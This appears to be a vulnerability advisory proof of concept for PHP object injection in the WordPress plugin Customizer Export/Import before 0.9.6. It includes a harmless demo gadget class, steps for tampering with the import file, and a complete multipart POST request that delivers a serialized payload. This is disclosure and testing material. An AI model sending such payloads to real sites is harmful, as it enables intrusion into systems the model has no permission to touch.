Customizer Export/Import < 0.9.6 - Admin+ PHP Object Injection

Proof of Concept

To simulate a gadget chain, put the following code in a plugin:

class Evil {
  public function __wakeup() : void {
    die("Arbitrary deserialization");
  }
}

Activate this plugin and access Appearance>Customize.
Implement the function to import, intercept and modify the uploaded file content to O:4:"Evil":0:{}.

The view the response of the request made, which will have the "Arbitrary deserialization" message.

---

POST /wordpress/wp-admin/customize.php?return=%2Fwordpress%2Fwp-admin%2Fedit.php%3Fpost_type%3Dpage HTTP/1.1
Host: {host}
Content-Length: 527
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryHN9Q1PYZAYSCr0BV
Cookie: {cookie}

------WebKitFormBoundaryHN9Q1PYZAYSCr0BV
Content-Disposition: form-data; name="cei-import-file"; filename="asddf.txt"
Content-Type: application/octet-stream

O:4:"Evil":0:{}
------WebKitFormBoundaryHN9Q1PYZAYSCr0BV
Content-Disposition: form-data; name="cei-import"

0b91847c00
------WebKitFormBoundaryHN9Q1PYZAYSCr0BV
Content-Disposition: form-data; name="_wp_http_referer"

/wordpress/wp-admin/customize.php?return=%2Fwordpress%2Fwp-admin%2Fedit.php%3Fpost_type%3Dpage
------WebKitFormBoundaryHN9Q1PYZAYSCr0BV--